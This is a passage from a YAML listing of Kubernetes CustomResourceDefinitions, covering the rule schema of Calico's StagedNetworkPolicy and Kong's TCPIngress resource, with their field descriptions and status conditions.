                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                ingress:
                  description: |-
                    The ordered set of ingress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                order:
                  description: |-
                    Order is an optional field that specifies the order in which the policy is applied.
                    Policies with higher "order" are applied after those with lower
                    order within the same tier.  If the order is omitted, it may be considered to be "infinite" - i.e. the
                    policy will be applied last.  Policies with identical order will be applied in
                    alphanumerical order based on the Policy "Name" within the tier.
                  type: number
                performanceHints:
                  description: |-
                    PerformanceHints contains a list of hints to Calico's policy engine to
                    help process the policy more efficiently.  Hints never change the
                    enforcement behaviour of the policy.

                    Currently, the only available hint is "AssumeNeededOnEveryNode".  When
                    that hint is set on a policy, Felix will act as if the policy matches
                    a local endpoint even if it does not. This is useful for "preloading"
                    any large static policies that are known to be used on every node.
                    If the policy is _not_ used on a particular node then the work
                    done to preload the policy (and to maintain it) is wasted.
                  items:
                    type: string
                  type: array
                selector:
                  description: "The selector is an expression used to pick pick out
                    the endpoints that the policy should\nbe applied to.\n\nSelector
                    expressions follow this syntax:\n\n\tlabel == \"string_literal\"
                    \ ->  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"
                    \  ->  not equal; also matches if label is not present\n\tlabel
                    in { \"a\", \"b\", \"c\", ... }  ->  true if the value of label
                    X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\",
                    \"c\", ... }  ->  true if the value of label X is not one of \"a\",
                    \"b\", \"c\"\n\thas(label_name)  -> True if that label is present\n\t!
                    expr -> negation of expr\n\texpr && expr  -> Short-circuit and\n\texpr
                    || expr  -> Short-circuit or\n\t( expr ) -> parens for grouping\n\tall()
                    or the empty selector -> matches all endpoints.\n\nLabel names
                    are allowed to contain alphanumerics, -, _ and /. String literals
                    are more permissive\nbut they do not support escape characters.\n\nExamples
                    (with made-up labels):\n\n\ttype == \"webserver\" && deployment
                    == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment
                    != \"dev\"\n\t! has(label_name)"
                  type: string
                serviceAccountSelector:
                  description: ServiceAccountSelector is an optional field for an
                    expression used to select a pod based on service accounts.
                  type: string
                stagedAction:
                  description: The staged action. If this is omitted, the default
                    is Set.
                  type: string
                tier:
                  description: |-
                    The name of the tier that this policy belongs to.  If this is omitted, the default
                    tier (name is "default") is assumed.  The specified tier must exist in order to create
                    security policies within the tier, the "default" tier is created automatically if it
                    does not exist, this means for deployments requiring only a single Tier, the tier name
                    may be omitted on all policy management requests.
                  type: string
                types:
                  description: |-
                    Types indicates whether this policy applies to ingress, or to egress, or to both.  When
                    not explicitly specified (and so the value on creation is empty or nil), Calico defaults
                    Types according to what Ingress and Egress are present in the policy.  The
                    default is:

                    - [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are
                      also no Ingress rules)

                    - [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules

                    - [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.

                    When the policy is read back again, Types will always be one of these values, never empty
                    or nil.
                  items:
                    description: PolicyType enumerates the possible values of the
                      PolicySpec Types field.
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: StagedNetworkPolicy
      listKind: StagedNetworkPolicyList
      plural: stagednetworkpolicies
      singular: stagednetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: tcpingresses.configuration.konghq.com
    resourceVersion: "413058"
    uid: 887b99ae-fe8a-48d3-bf0f-4fcf60c002a6
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: TCPIngress
      listKind: TCPIngressList
      plural: tcpingresses
      singular: tcpingress
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Address of the load balancer
        jsonPath: .status.loadBalancer.ingress[*].ip
        name: Address
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: TCPIngress is the Schema for the tcpingresses API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Spec is the TCPIngress specification.
              properties:
                rules:
                  description: A list of rules used to configure the Ingress.
                  items:
                    description: |-
                      IngressRule represents a rule to apply against incoming requests.
                      Matching is performed based on an (optional) SNI and port.
                    properties:
                      backend:
                        description: |-
                          Backend defines the referenced service endpoint to which the traffic
                          will be forwarded to.
                        properties:
                          serviceName:
                            description: Specifies the name of the referenced service.
                            minLength: 1
                            type: string
                          servicePort:
                            description: Specifies the port of the referenced service.
                            format: int32
                            maximum: 65535
                            minimum: 1
                            type: integer
                        required:
                        - serviceName
                        - servicePort
                        type: object
                      host:
                        description: |-
                          Host is the fully qualified domain name of a network host, as defined
                          by RFC 3986.
                          If a Host is not specified, then port-based TCP routing is performed. Kong
                          doesn't care about the content of the TCP stream in this case.
                          If a Host is specified, the protocol must be TLS over TCP.
                          A plain-text TCP request cannot be routed based on Host. It can only
                          be routed based on Port.
                        type: string
                      port:
                        description: |-
                          Port is the port on which to accept TCP or TLS over TCP sessions and
                          route. It is a required field. If a Host is not specified, the requested
                          are routed based only on Port.
                        format: int32
                        maximum: 65535
                        minimum: 1
                        type: integer
                    required:
                    - backend
                    - port
                    type: object
                  type: array
                tls:
                  description: |-
                    TLS configuration. This is similar to the `tls` section in the
                    Ingress resource in networking.v1beta1 group.
                    The mapping of SNIs to TLS cert-key pair defined here will be
                    used for HTTP Ingress rules as well. Once can define the mapping in
                    this resource or the original Ingress resource, both have the same
                    effect.
                  items:
                    description: IngressTLS describes the transport layer security.
                    properties:
                      hosts:
                        description: |-
                          Hosts are a list of hosts included in the TLS certificate. The values in
                          this list must match the name/s used in the tlsSecret. Defaults to the
                          wildcard host setting for the loadbalancer controller fulfilling this
                          Ingress, if left unspecified.
                        items:
                          type: string
                        type: array
                      secretName:
                        description: SecretName is the name of the secret used to
                          terminate SSL traffic.
                        type: string
                    type: object
                  type: array
              type: object
            status:
              description: TCPIngressStatus defines the observed state of TCPIngress.
              properties:
                loadBalancer:
                  description: LoadBalancer contains the current status of the load-balancer.
                  properties:
                    ingress:
                      description: |-
                        Ingress is a list containing ingress points for the load-balancer.
                        Traffic intended for the service should be sent to these ingress points.
                      items:
                        description: |-
                          LoadBalancerIngress represents the status of a load-balancer ingress point:
                          traffic intended for the service should be sent to an ingress point.
                        properties:
                          hostname:
                            description: |-
                              Hostname is set for load-balancer ingress points that are DNS based
                              (typically AWS load-balancers)
                            type: string
                          ip:
                            description: |-
                              IP is set for load-balancer ingress points that are IP based
                              (typically GCE or OpenStack load-balancers)
                            type: string
                          ipMode:
                            description: |-
                              IPMode specifies how the load-balancer IP behaves, and may only be specified when the ip field is specified.
                              Setting this to "VIP" indicates that traffic is delivered to the node with
                              the destination set to the load-balancer's IP and port.
                              Setting this to "Proxy" indicates that traffic is delivered to the node or pod with
                              the destination set to the node's IP and node port or the pod's IP and port.
                              Service implementations may use this information to adjust traffic routing.
                            type: string
                          ports:
                            description: |-
                              Ports is a list of records of service ports
                              If used, every port defined in the service should have an entry in it
                            items:
                              properties:
                                error:
                                  description: |-
                                    Error is to record the problem with the service port
                                    The format of the error shall comply with the following rules:
                                    - built-in error values shall be specified in this file and those shall use
                                      CamelCase names
                                    - cloud provider specific error values must have names that comply with the
                                      format foo.example.com/CamelCase.
                                  maxLength: 316
                                  pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                                  type: string
                                port:
                                  description: Port is the port number of the service
                                    port of which status is recorded here
                                  format: int32
                                  type: integer
                                protocol:
                                  description: |-
                                    Protocol is the protocol of the service port of which status is recorded here
                                    The supported values are: "TCP", "UDP", "SCTP"
                                  type: string
                              required:
                              - error
                              - port
                              - protocol
                              type: object
                            type: array
                            x-kubernetes-list-type: atomic
                        type: object
                      type: array
                      x-kubernetes-list-type: atomic
                  type: object
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: TCPIngress
      listKind: TCPIngressList
      plural: tcpingresses
      singular: tcpingress
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
